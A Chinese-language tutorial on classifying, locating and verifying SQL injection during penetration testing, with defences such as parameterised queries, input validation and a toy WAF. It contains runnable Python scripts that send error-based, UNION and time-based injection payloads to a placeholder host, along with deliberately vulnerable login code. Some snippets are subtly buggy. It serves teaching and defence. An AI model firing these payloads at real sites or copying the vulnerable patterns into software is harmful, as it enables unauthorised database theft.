渗透测试中，SQL注入漏洞是最常见也最具破坏性的漏洞类型之一。要高效发现并验证这类漏洞，首先需要理解它的本质，掌握分类方法，并建立清晰的验证逻辑链条。
一、SQL注入漏洞的本质与成因
1.1 什么是SQL注入
简单来说，SQL注入就是攻击者通过在用户输入中插入恶意的SQL语句片段，让数据库执行了原本不该执行的命令。打个比方，你走进一家餐厅点菜，菜单上写着"请把菜炒好"，但你想在菜单上写"请把菜炒好，顺便把厨房保险柜的钥匙也给我"，如果服务员直接照做，这就是SQL注入。
在实际Web应用中，用户输入的参数如果没有经过严格校验，就直接拼接进SQL语句发送给数据库执行，就构成了SQL注入漏洞。攻击者可以借此绕过登录验证、窃取用户数据、甚至删除整个数据库。
1.2 漏洞产生的根源
漏洞的根源在于"信任边界"的缺失。开发人员把用户输入当成了可信数据，直接把它嵌入到数据库查询语句中，这就给攻击者留了后门。
以下是一个典型的漏洞代码示例，展示了用户输入如何被直接拼接到SQL语句中：
# 技术栈：Python + MySQL（MySQLdb库）
# 场景：用户登录接口存在SQL注入漏洞
import MySQLdb
def login_vulnerable(username, password):
"""
存在SQL注入漏洞的登录函数
username: 用户输入的用户名
password: 用户输入的密码
"""
# 建立数据库连接
conn = MySQLdb.connect(
host='localhost',
user='root',
passwd='123456',
db='testdb'
)
cursor = conn.cursor()
# 危险操作：直接将用户输入拼接到SQL语句中
sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
cursor.execute(sql)
result = cursor.fetchone()
if result:
return True # 登录成功
else:
return False # 登录失败
cursor.close()
conn.close()
# 攻击演示：输入 ' OR '1'='1 即可绕过密码验证
# 最终SQL变为:
# SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
# 无论密码是否正确，条件永远为真
if __name__ == "__main__":
# 攻击者提交的恶意输入
malicious_username = "' OR '1'='1"
malicious_password = "' OR '1'='1"
print(f"攻击者输入用户名: {malicious_username}")
print(f"攻击者输入密码: {malicious_password}")
print("注入后的SQL语句将永远返回True，绕过认证")
这段代码的问题很明显：username 和 password 直接通过字符串拼接进入了SQL语句。攻击者只需要在输入框中输入特定内容，就能绕过密码验证直接登录。
二、SQL注入漏洞的分类
SQL注入漏洞按照不同的表现形式和检测方式，可以分为多种类型。了解分类有助于在渗透测试中选择合适的攻击策略。
2.1 基于报错的SQL注入
报错注入是最直观的一类。当数据库执行含有错误的SQL语句时，会把详细的错误信息返回给前端，攻击者通过读取这些错误信息来推断数据库结构、表名、字段名甚至数据内容。
比如你在某个搜索框输入了 '（一个单引号），如果页面返回了数据库错误信息，那基本可以确认存在SQL注入。这类注入的效率最高，因为数据库主动把信息"送"到了攻击者手上。
2.2 基于布尔的SQL注入
布尔注入的核心逻辑是通过构造"真"或"假"的条件来判断返回结果的不同。比如"如果当前数据库中表的数量大于10，页面返回A；否则返回B"。攻击者通过对比不同条件下的页面响应差异，逐步推断出数据库中的信息。
布尔注入需要攻击者具备较强的逻辑推理能力，因为他需要根据每次返回的差异来拼凑完整信息。不过一旦确认了响应差异的模式，后续的信息提取效率会非常高。
2.3 基于时间盲注的SQL注入
时间盲注是布尔注入的"强化版"。当页面返回结果在真假条件下没有明显区别时，攻击者利用数据库的时间函数（如 SLEEP()、BENCHMARK()），让数据库在条件成立时故意延迟响应，通过观察响应时间的变化来判断条件是否成立。
这种方式的特点是隐蔽性强，很多自动化扫描工具因为设置了超时限制而无法检测到。但在经验丰富的渗透测试人员面前，时间盲注依然可以被利用。
2.4 基于联合查询的SQL注入
联合查询（UNION）注入利用的是SQL语句中 UNION 关键字的功能。攻击者通过构造带有 UNION SELECT 的语句，把目标数据库中的敏感数据"附加"到页面正常返回的数据中，从而窃取信息。这种方式通常需要在注入点前确保原始查询返回的列数与 UNION 后面的查询列数一致。
联合查询注入的效率通常最高，但前提条件是原始查询必须有前端显示区域，而且攻击者需要先确定列数。
三、漏洞定位的技术方法
3.1 参数识别与测试
定位SQL注入的第一步是找出哪些参数可能存在问题。渗透测试人员通常使用自动化工具或手动测试来识别潜在的注入点。
以下示例展示了如何自动化识别页面中所有可注入的参数：
# 技术栈：Python + MySQL
# 功能：自动化扫描Web页面中的潜在SQL注入参数
import requests
from urllib.parse import urlparse, parse_qs
def find_injection_points(target_url):
"""
分析目标URL和POST请求体，找出所有可能的注入参数
target_url: 目标URL地址
返回: 包含所有参数名和当前值的字典
"""
parsed = urlparse(target_url)
params = parse_qs(parsed.query)
print("=" * 60)
print(f"目标URL: {target_url}")
print(f"查询参数数量: {len(params)}")
print("=" * 60)
injection_points = {}
# 遍历所有GET参数
for key, values in params.items():
injection_points[key] = values[0] if values else ''
print(f" GET参数 [{key}] = {values[0]}")
# 构造测试请求，观察响应差异
session = requests.Session()
for param_name, param_value in injection_points.items():
# 测试单引号
test_payload = param_value + "'"
try:
resp = session.get(target_url, params={param_name: test_payload})
if 'syntax error' in resp.text.lower() or 'sql' in resp.text.lower():
print(f" [!] 参数 [{param_name}] 可能存在问题，响应中包含错误信息")
elif '1' in str(resp.status_code):
print(f" [?] 参数 [{param_name}] 返回了HTTP {resp.status_code}，需进一步测试")
except Exception as e:
print(f" [!] 测试参数 [{param_name}] 时出现异常: {e}")
print("=" * 60)
return injection_points
# 实际使用示例
if __name__ == "__main__":
url = "http://target.com/search?id=1&keyword=test&page=2"
points = find_injection_points(url)
print(f"\n发现 {len(points)} 个潜在注入参数: {list(points.keys())}")
3.2 单引号与双引号测试
在确认了可疑参数后，下一步是确定闭合方式。不同的闭合方式决定了后续利用的具体payload构造方式。判断闭合方式就像是在猜一把锁的钥匙形状——你需要试试不同的组合，直到找到能打开的那一把。
# 技术栈：Python + MySQL
# 功能：测试参数的闭合方式（单引号、双引号、括号等）
import requests
def test_closing_style(base_url, param_name, param_value):
"""
测试不同闭合方式，判断SQL语句的原始格式
base_url: 目标URL基础部分（不含参数）
param_name: 要测试的参数名
param_value: 参数当前值
"""
closing_tests = [
("单引号", param_value + "'"),
("单引号+注释", param_value + "'--"),
("单引号+注释加空格", param_value + "'-- "),
("单引号+#号注释", param_value + "'#"),
("双引号", param_value + '"'),
("括号+单引号", param_value + "')"),
("括号+单引号+注释", param_value + "')--"),
("数字类型", param_value + " AND 1=1"),
]
print(f"正在测试参数 [{param_name}] 的闭合方式...\n")
for label, payload in closing_tests:
try:
resp = requests.get(base_url, params={param_name: payload})
status = "正常" if resp.status_code == 200 else f"异常({resp.status_code})"
# 检查响应内容中是否包含错误关键字
print(f" [{label:15s}] payload: {repr(payload):30s} 状态: {status:15s} 包含错误信息: {has_error}")
except Exception as e:
print(f" [{label:15s}] 请求异常: {e}")
print("\n根据以上测试结果，可以判断SQL语句的大致格式。")
print("例如：如果'--'能恢复页面正常，说明原始SQL类似: SELECT * FROM t WHERE id='1'")
# 使用示例
if __name__ == "__main__":
test_closing_style(
base_url="http://target.com/product",
param_name="id",
param_value="1"
)
3.3 数据类型判断
确认闭合方式后，还需要判断参数的数据类型，这直接影响注入payload的构造方式。整型参数和字符型参数的注入方式完全不同——整型不需要引号闭合，字符型则需要。
# 技术栈：Python + MySQL
# 功能：判断SQL注入参数是整型还是字符型
import requests
def test_data_type(base_url, param_name, original_value):
"""
通过改变参数类型来推断数据库中参数的数据类型
原理：
- 如果参数是整型，SQL语句中不需要引号包裹
- 如果参数是字符型，SQL语句中需要用引号包裹
"""
print(f"测试参数 [{param_name}] 的数据类型...\n")
test_cases = [
# (测试说明, 测试值)
("原始值", original_value),
("整数类型", "1"),
("字符串类型", "'1'"),
("整数+OR", "1 OR 1=1"),
("字符串+OR", "' OR '1'='1"),
("整数+AND", "1 AND 1=1"),
("字符串+AND", "' AND '1'='1"),
]
for desc, value in test_cases:
try:
resp = requests.get(base_url, params={param_name: value})
# 统计响应中的关键信息
content_length = len(resp.text)
has_error = 'error' in resp.text.lower() or 'exception' in resp.text.lower()
print(f" [{desc:12s}] 值: {repr(value):15s} 响应长度: {content_length:6d} 字节 错误: {has_error}")
except Exception as e:
print(f" [{desc:12s}] 请求失败: {e}")
print("\n判断依据：")
print(" - 如果加引号后页面正常返回，说明参数是字符型")
print(" - 如果不加引号直接追加OR语句也正常，说明参数是整型")
print(" - 如果只有特定方式能让页面正常，就说明该闭合方式正确")
print(" - 对比不同测试用例的响应长度差异，可以更准确地判断数据类型")
四、验证逻辑与实战示例
定位完成后，进入验证阶段。验证的目的是确认漏洞是否真实存在，以及攻击的可行性。验证过程需要谨慎操作，避免触发系统的告警机制。
4.1 报错注入验证示例
报错注入的验证最简单，因为数据库会主动把信息"送"到攻击者手上。我们只需要构造能触发数据库报错的payload，然后从错误信息中提取所需数据。
# 技术栈：Python + MySQL
# 场景：验证报错注入漏洞
import requests
def verify_error_based_injection(base_url, param_name):
"""
通过触发数据库报错来验证SQL注入漏洞
攻击原理：
构造无法正确执行的SQL语句，使数据库返回错误信息，
从错误信息中提取数据库类型、版本、表结构等信息。
"""
# 常见报错注入payload（MySQL数据库）
payloads = [
# 触发基础语法错误
("基础报错", "' AND 1=1; SELECT * FROM (SELECT 1 UNION SELECT 2) --"),
# 利用updatexml报错提取数据库名
("提取数据库名", "' AND updatexml(1,CONCAT(0x7e,DATABASE(),0x7e),1) --"),
# 利用extractvalue报错提取数据库名
("提取数据库名2", "' AND extractvalue(1,CONCAT(0x7e,DATABASE(),0x7e)) --"),
# 提取当前用户
("提取当前用户", "' AND updatexml(1,CONCAT(0x7e,CURRENT_USER(),0x7e),1) --"),
# 提取版本号
("提取版本", "' AND updatexml(1,CONCAT(0x7e,VERSION(),0x7e),1) --"),
# 提取当前数据库的表数量
("提取表数量", "' AND updatexml(1,CONCAT(0x7e,(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE()),0x7e),1) --"),
# 提取表名列表
("提取表名", "' AND updatexml(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()),0x7e),1) --"),
]
print("开始验证报错注入漏洞...\n")
print("-" * 70)
for name, payload in payloads:
try:
# 发送请求，将payload注入到指定参数中
resp = requests.get(base_url, params={param_name: payload}, timeout=10)
print(f"\n[{name}]")
print(f" Payload: {payload}")
print(f" HTTP状态码: {resp.status_code}")
# 在响应中搜索常见的报错关键字
response_text = resp.text
error_markers = [
'XPATH syntax error', # updatexml/extractvalue的特征
'You have an error in your SQL syntax', # 基础语法错误
'MySQL', # MySQL特征信息
'Warning:', # PHP警告信息
'unrecognized token', # SQL解析错误
]
for marker in error_markers:
if marker.lower() in response_text.lower():
# 提取错误信息附近的上下文
pos = response_text.lower().find(marker.lower())
context = response_text[max(0, pos-50):pos+200]
print(f" [发现报错特征] 找到: '{marker}'")
print(f" [上下文] {context[:200]}...")
break
else:
print(f" [未发现明显报错信息]")
print("-" * 70)
except requests.exceptions.Timeout:
print(f" [{name}] 请求超时，可能存在其他问题")
except Exception as e:
print(f" [{name}] 请求异常: {str(e)}")
print("\n验证结论：如果以上payload触发了数据库报错信息，则确认存在SQL注入漏洞。")
print("同时可以从报错信息中提取出数据库名、版本号、表结构等关键信息。")
# 使用示例
if __name__ == "__main__":
verify_error_based_injection(
base_url="http://target.com/search",
param_name="keyword"
)
4.2 联合查询验证示例
联合查询注入需要先确定原始查询的列数，然后才能正确构造UNION语句。这个过程有点像玩拼图——你需要先搞清楚拼图有几块，才能把新拼块正确放进去。
# 技术栈：Python + MySQL
# 场景：验证UNION SELECT注入漏洞
import requests
def verify_union_injection(base_url, param_name, original_value):
"""
验证UNION SELECT注入漏洞
步骤：
1. 确认注入点可用
2. 确定原始查询的列数
3. 确定可显示的列位置
4. 提取数据库信息
"""
# 第一步：确认注入点可用
print("第一步：确认注入点...\n")
test_payloads = [
(f"{original_value}' --", "基础注入确认"),
(f"{original_value}' OR 1=1 --", "OR条件确认"),
(f"{original_value}' OR 1=2 --", "反条件确认"),
]
for payload, desc in test_payloads:
resp = requests.get(base_url, params={param_name: payload})
print(f" [{desc}] 状态码: {resp.status_code}, 响应长度: {len(resp.text)}")
# 第二步：确定列数（通过ORDER BY）
print("\n第二步：确定原始查询列数...\n")
max_columns = 0
for i in range(1, 20): # 测试1到20列
payload = f"{original_value}' ORDER BY {i} --"
resp = requests.get(base_url, params={param_name: payload})
if resp.status_code == 200:
max_columns = i
print(f" ORDER BY {i}: 正常响应（响应长度 {len(resp.text)}）")
else:
print(f" ORDER BY {i}: 异常（HTTP {resp.status_code}）")
if max_columns > 0:
break
print(f"\n => 原始查询的列数为: {max_columns}")
# 第三步：确定可显示的列位置
print(f"\n第三步：确定{max_columns}个列中哪些位置可以显示...\n")
# 构造包含不同标识符的UNION查询
markers = [f"col{i}" for i in range(1, max_columns + 1)]
for i in range(max_columns):
# 在每个位置放置不同的标识符，其他位置用NULL填充
values = ["NULL"] * max_columns
values[i] = markers[i]
union_part = ", ".join(values)
payload = f"{original_value}' UNION SELECT {union_part} --"
resp = requests.get(base_url, params={param_name: payload})
# 检查哪个标识符出现在响应中
for marker in markers:
if marker in resp.text:
print(f" 位置 {i+1}: 可显示（找到标识符 '{marker}'）")
break
else:
print(f" 位置 {i+1}: 不可显示")
# 第四步：在可显示的位置提取数据库信息
print("\n第四步：提取数据库信息...\n")
info_queries = [
("当前数据库名", "DATABASE()"),
("当前用户名", "USER()"),
("数据库版本", "VERSION()"),
("数据库中的表数量", "(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())"),
]
for desc, query in info_queries:
# 将查询语句放入第一个位置（假设第一个位置可显示）
other_nulls = ", ".join(["NULL"] * (max_columns - 1))
payload = f"{original_value}' UNION SELECT {query}, {other_nulls} --"
resp = requests.get(base_url, params={param_name: payload})
print(f" [{desc}]: {resp.status_code} | 响应片段: {resp.text[:150]}...")
print("\n验证完成：通过以上步骤，可以确认UNION注入的可行性并提取关键信息。")
print("后续可以进一步查询 information_schema 获取表名、字段名，再提取具体数据。")
# 使用示例
if __name__ == "__main__":
verify_union_injection(
base_url="http://target.com/product",
param_name="id",
original_value="1"
)
4.3 时间盲注验证示例
时间盲注是渗透测试中难度较高的注入类型，但它也是很多自动化扫描工具无法探测到的盲区。核心思路是：让数据库在特定条件成立时故意"偷懒"（延迟执行），通过测量响应时间的变化来推断信息。
# 技术栈：Python + MySQL
# 场景：验证基于时间的SQL盲注漏洞
import requests
import time
import statistics
def verify_time_based_injection(base_url, param_name):
"""
验证基于时间的SQL注入漏洞
原理：
通过向SQL语句中插入SLEEP()函数，
如果条件为真，数据库会延迟执行，响应时间变长；
如果条件为假，数据库正常执行，响应时间正常。
通过对比响应时间差异，逐位推断数据内容。
"""
# 首先测量正常响应时间作为基准
print("测量基准响应时间...\n")
normal_times = []
for i in range(5):
start = time.time()
requests.get(base_url, params={param_name: "1"})
elapsed = time.time() - start
normal_times.append(elapsed)
print(f" 请求{i+1}: {elapsed:.4f}秒")
avg_normal = statistics.mean(normal_times)
print(f" 平均基准响应时间: {avg_normal:.4f}秒\n")
# 定义测试用的payload
sleep_seconds = 5 # 让数据库延迟5秒
test_payloads = [
# 条件为真（1=1），应该延迟
(f"1' AND SLEEP({sleep_seconds}) --", "条件为真（应该延迟）"),
# 条件为假（1=2），不应该延迟
(f"1' AND SLEEP({sleep_seconds}) AND 1=2 --", "条件为假（不应该延迟）"),
# 使用IF函数结合DATABASE()判断
(f"1' AND IF(1=1,SLEEP({sleep_seconds}),0) --", "IF函数测试（条件为真）"),
# BENCHMARK函数延迟
(f"1' AND BENCHMARK(5000000,SHA1('test')) --", "BENCHMARK延迟测试"),
]
print("-" * 70)
for payload, desc in test_payloads:
start = time.time()
resp = requests.get(base_url, params={param_name: payload}, timeout=30)
elapsed = time.time() - start
is_delayed = elapsed > (avg_normal + 2) # 延迟超过2秒视为异常
print(f"\n[{desc}]")
print(f" Payload: {payload[:60]}...")
print(f" 响应时间: {elapsed:.4f}秒")
print(f" 判定: {'⚡ 检测到延迟' if is_delayed else '✓ 正常响应'}")
print(f" HTTP状态: {resp.status_code}")
print("\n" + "-" * 70)
print("验证结论：")
print(" 如果条件为真的payload响应时间明显长于条件为假的payload，")
print(" 则确认存在时间盲注漏洞。")
# 演示如何逐位推断数据（以数据库名长度为例）
print("\n\n=== 演示：推断数据库名长度 ===\n")
for length in range(1, 20):
payload = f"1' AND IF(LENGTH(DATABASE())={length},SLEEP({sleep_seconds}),0) --"
start = time.time()
requests.get(base_url, params={param_name: payload}, timeout=30)
elapsed = time.time() - start
if elapsed > (avg_normal + 2):
print(f" 数据库名长度 = {length}（响应时间: {elapsed:.2f}秒，检测到延迟）")
break
else:
print(f" 数据库名长度 = {length}（响应时间: {elapsed:.2f}秒，无延迟）")
# 使用示例
if __name__ == "__main__":
verify_time_based_injection(
base_url="http://target.com/api",
param_name="page"
)
五、防御与修复方案
发现了漏洞，更重要的是知道怎么修复。以下是经过验证有效的防御方案。
5.1 参数化查询（预编译语句）
参数化查询是最有效的防御手段。它的原理是把SQL语句的结构和数据分离开来，数据库先解析语句结构，再填入数据值，这样用户输入就永远不会被当作SQL指令执行。
# 技术栈：Python + MySQL
# 正确的做法：使用参数化查询
import MySQLdb
def login_safe(username, password):
"""
使用参数化查询防止SQL注入的安全登录函数
关键点：
- 使用占位符（%s）代替字符串拼接
- MySQLdb会自动处理特殊字符的转义
- 即使输入中包含SQL关键字，也只会被当作普通字符
"""
conn = MySQLdb.connect(
host='localhost',
user='root',
passwd='123456',
db='testdb'
)
cursor = conn.cursor()
# 安全方式：使用参数化查询，%s是占位符
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
# 参数以元组形式传入，不会被当作SQL代码解析
cursor.execute(sql, (username, password))
result = cursor.fetchone()
if result:
return True
else:
return False
cursor.close()
conn.close()
# 测试攻击者的恶意输入（此方式下无法注入）
if __name__ == "__main__":
# 攻击者尝试的payload：' OR '1'='1
# 在参数化查询中，这会被当作普通字符串处理
attack_input = "' OR '1'='1"
print(f"攻击输入: {attack_input}")
print("使用参数化查询后，该输入不会被解析为SQL指令，查询正常执行但不匹配任何用户。")
print("参数化查询的本质是让数据库把输入当作纯数据，而不是代码。")
5.2 输入验证与过滤
参数化查询是第一道防线，输入验证是第二道防线。合理的输入验证可以减少潜在的注入面。但要注意，输入验证不能完全替代参数化查询，它只是多一层保险。
# 技术栈：Python + MySQL
# 输入验证与过滤示例
import re
import MySQLdb
def validate_input(input_value, param_type='string'):
"""
对输入进行类型和格式验证
param_type: 参数期望类型
- 'int': 仅允许整数
- 'string': 限制长度和特殊字符
- 'email': 验证邮箱格式
"""
if param_type == 'int':
# 只允许纯数字
if not re.match(r'^[0-9]+$', input_value):
raise ValueError(f"参数应为整数类型，收到: {input_value}")
return int(input_value)
elif param_type == 'string':
# 限制长度，移除危险字符
if len(input_value) > 50:
raise ValueError("输入长度超过50个字符")
# 移除单引号、双引号等危险字符（辅助手段，不能替代参数化查询）
sanitized = re.sub(r"['\"\\]", '', input_value)
return sanitized
elif param_type == 'email':
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(pattern, input_value):
raise ValueError(f"无效的邮箱格式: {input_value}")
return input_value
else:
raise ValueError(f"未知的参数类型: {param_type}")
# 安全查询函数
def safe_search(conn, keyword):
"""
安全的搜索函数，结合参数化查询和输入验证
双重保护：
1. 输入验证过滤明显异常的数据
2. 参数化查询防止SQL拼接攻击
"""
# 第一层：输入验证
sanitized_keyword = validate_input(keyword, 'string')
cursor = conn.cursor()
# 第二层：参数化查询
sql = "SELECT * FROM products WHERE name LIKE %s"
cursor.execute(sql, (f"%{sanitized_keyword}%",))
results = cursor.fetchall()
cursor.close()
return results
# 测试示例
if __name__ == "__main__":
test_inputs = [
"手机", # 正常输入
"手机' OR 1=1", # 注入尝试
"'; DROP TABLE users; --", # 危险payload
"x" * 100, # 超长输入
]
print("输入验证测试结果：\n")
for input_val in test_inputs:
try:
result = validate_input(input_val, 'string')
print(f" [{input_val[:30]:30s}] => 验证通过，结果: {result[:30]}")
except ValueError as e:
print(f" [{input_val[:30]:30s}] => 验证失败: {e}")
5.3 Web应用防火墙（WAF）
WAF是部署在应用前面的安全网关，可以自动拦截包含SQL注入特征的请求。虽然不能替代代码层面的修复，但作为纵深防御的一部分非常有价值。
# 技术栈：Python + MySQL
# 模拟简单的WAF规则检测（概念演示）
import re
import logging
# 配置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
class SimpleWAF:
"""
简化的Web应用防火墙规则引擎
用于演示WAF如何检测SQL注入特征
注意：这只是概念演示，生产环境应使用成熟的WAF产品
"""
def __init__(self):
# SQL注入特征规则
self.rules = [
(r"(\b)(SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC)\b", "SQL关键字"),
(r"'\s*(OR|AND)\s*'?\d+'?\s*=\s*'?\d+", "OR/AND注入模式"),
(r"'\s*--\s*$", "注释符注入"),
(r"'\s*#\s*$", "MySQL注释符注入"),
(r"(?i)(SLEEP|BENCHMARK)\s*\(", "时间盲注函数"),
(r"(?i)(UNION\s+(ALL\s+)?SELECT)", "联合查询注入"),
(r"information_schema", "信息字典访问"),
(r"updatexml|extractvalue", "报错注入函数"),
]
def check_request(self, request_data):
"""
检查请求数据是否包含SQL注入特征
request_data: 请求中的参数数据（字典格式）
返回: (是否被拦截, 拦截原因)
"""
for param_name, param_value in request_data.items():
value_str = str(param_value)
for pattern, rule_name in self.rules:
if re.search(pattern, value_str):
logging.warning(f"检测到SQL注入: 参数[{param_name}], 规则[{rule_name}], 值={value_str[:50]}")
return True, f"参数[{param_name}]触发了规则[{rule_name}]"
return False, None
def protect_handler(self, request_data):
"""
保护处理器：拦截恶意请求，记录安全日志
实际WAF会把这个功能集成到Nginx、Apache或云WAF中
"""
is_blocked, reason = self.check_request(request_data)
if is_blocked:
logging.error(f"请求被拦截: {reason}")
return {
"status": "blocked",
"reason": reason,
"message": "请求被Web应用防火墙拦截"
}
else:
logging.info(f"请求通过: 参数={request_data}")
return None # None表示请求可以通过
# 测试示例
if __name__ == "__main__":
waf = SimpleWAF()
# 模拟各种请求
test_requests = [
{"id": "1"}, # 正常请求
{"keyword": "手机"}, # 正常请求
{"id": "1' OR '1'='1"}, # 基础注入
{"id": "1' UNION SELECT username,password FROM users --"}, # 联合注入
{"id": "1' AND SLEEP(5) --"}, # 时间盲注
{"keyword": "SELECT * FROM users"}, # 关键字注入
{"id": "1' AND updatexml(1,CONCAT(0x7e,DATABASE()),1) --"}, # 报错注入
]
print("WAF拦截测试：\n")
for i, req in enumerate(test_requests):
result = waf.protect_handler(req)
status = "被拦截" if result else "通过"
print(f" 请求{i+1}: {str(req):60s} => {status}")
六、应用场景与技术优缺点
SQL注入漏洞在各种类型的Web应用中都非常常见，不同的应用场景对应着不同的防御策略和技术选型。
在电商网站中，商品搜索、用户评价、订单查询等接口是SQL注入的高发区域。这类系统通常拥有大量用户数据和支付信息，一旦被注入，损失巨大。防御重点在于参数化查询的全面覆盖和数据库最小权限原则的落实。
在内容管理系统（CMS）中，后台管理界面的文章发布、用户管理等模块是重灾区。攻击者一旦注入成功，可能直接获取管理员权限，完全控制网站。这里需要特别注意后台权限验证和会话管理的安全。
在企业级应用系统中，报表生成、数据导出、条件筛选等功能往往接受复杂的查询条件参数，这些都可能是注入点。此类系统应建立严格的输入白名单机制和定期的安全审计流程。
从技术优缺点来看，参数化查询是最推荐的方案。它的优点是完全从根源上杜绝了SQL注入，对业务逻辑零侵入，性能也几乎不受影响。缺点是开发团队需要建立统一的数据库访问规范，遗留系统的改造可能需要较大的工作量。
输入验证作为辅助手段，优点是实现简单、见效快。缺点是规则难以穷举，永远无法覆盖所有攻击模式，而且容易误杀正常请求。WAF的优点是部署快速、不需要修改代码，可以作为临时应急方案。缺点是有误报漏报的问题，且需要持续更新规则库来应对新型攻击。
七、注意事项
在实际的渗透测试和防御工作中，有几点需要特别注意：
第一，不要只依赖WAF。WAF是最后一道防线，不是第一道防线。如果你的应用代码中存在SQL注入漏洞，而仅仅靠WAF来防护，一旦WAF规则配置不当或被绕过，整个系统就会裸奔。
第二，SQL注入不只是GET参数。POST请求体、Cookie、HTTP头、URL路径参数等都可以成为注入点。测试时需要覆盖所有可能的输入通道。
第三，注意二次注入。某些场景下，攻击者的payload不会被立即执行，而是被存储到数据库中，在下一次查询时被触发。比如用户注册时提交的个人信息被存入数据库，管理员后台查看用户信息时再次触发注入。
第四，不同数据库的注入语法不同。MySQL、PostgreSQL、Oracle、SQL Server的注入payload差异很大。测试前需要确认目标系统使用的数据库类型，才能构造正确的payload。
第五，不要在生产环境直接测试。所有的渗透测试都应在专门的测试环境中进行，避免对真实业务数据造成影响。如果要进行渗透测试，务必提前获得书面授权，并遵守法律法规。
八、文章总结
SQL注入是Web安全领域最经典、最持久的漏洞类型。掌握它的分类方法、定位技术和验证逻辑，是每一个安全从业者必备的技能。
从本质上看，SQL注入的根源在于对用户输入的不信任边界处理不当。修复的核心思路是：把代码逻辑和数据内容彻底分离开来。参数化查询是实现这一分离的最佳实践，应该作为所有数据库操作的标准规范来执行。
在渗透测试的实操中，建议按照"发现注入点 → 确认闭合方式 → 判断数据类型 → 选择攻击策略 → 逐步提取信息"的流程推进。每种注入类型（报错、布尔、时间盲注、联合查询）都有其独特的验证逻辑，根据实际情况选择最合适的方案。
防御方面，建立多层次的纵深防御体系是关键。代码层面的参数化查询是第一道防线，输入验证是第二道，WAF是第三道，数据库最小权限原则是第四道。只有把所有防线都建好，才能真正抵御SQL注入攻击。
记住：安全不是一次性的工作，而是一个持续迭代的过程。定期扫描、持续监控、及时修复，才能让你的应用真正安全。
评论
围绕“渗透测试中SQL注入漏洞的分类定位与验证逻辑”参与讨论